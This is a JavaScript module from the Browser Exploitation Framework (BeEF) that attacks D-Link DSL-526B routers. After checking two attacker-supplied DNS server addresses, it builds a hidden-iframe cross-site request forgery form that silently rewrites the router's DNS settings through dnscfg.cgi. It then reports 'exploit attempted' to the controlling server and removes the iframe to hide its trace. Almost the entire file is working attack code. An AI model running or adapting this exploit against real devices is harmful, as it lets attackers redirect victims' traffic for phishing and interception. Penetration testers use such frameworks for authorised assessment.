61 lines
2.0 KiB
JavaScript
61 lines
2.0 KiB
JavaScript
//
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// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
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// Browser Exploitation Framework (BeEF) - http://beefproject.com
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// See the file 'doc/COPYING' for copying permission
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//
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beef.execute(function() {
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// config
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var target = 'http://<%= @rhost %>/dnscfg.cgi';
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var dns1 = '<%= @dns1 %>';
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var dns2 = '<%= @dns2 %>';
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var timeout = 15;
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// validate primary DNS server IP address
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var parts = dns1.split('.');
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if (parts.length != 4) {
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beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
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return;
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}
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for (var i=0; i<parts.length; i++) {
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var part = parts[i];
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if (isNaN(part) || part < 0 || part > 255) {
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beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
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return;
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}
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}
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// validate secondary DNS server IP address
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var parts = dns2.split('.');
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if (parts.length != 4) {
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beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
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return;
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}
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for (var i=0; i<parts.length; i++) {
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var part = parts[i];
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if (isNaN(part) || part < 0 || part > 255) {
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beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
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return;
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}
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}
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// change DNS
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var dlink_dsl526b_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
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{'type':'hidden', 'name':'dnsPrimary', 'value': dns1},
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{'type':'hidden', 'name':'dnsSecondary', 'value': dns2},
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{'type':'hidden', 'name':'dnsDynamic', 'value': '0'},
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{'type':'hidden', 'name':'dnsRefresh', 'value': '1'}
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]);
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beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
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// clean up
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cleanup = function() {
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document.body.removeChild(dlink_dsl526b_iframe_<%= @command_id %>);
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}
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setTimeout("cleanup()", timeout*1000);
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});
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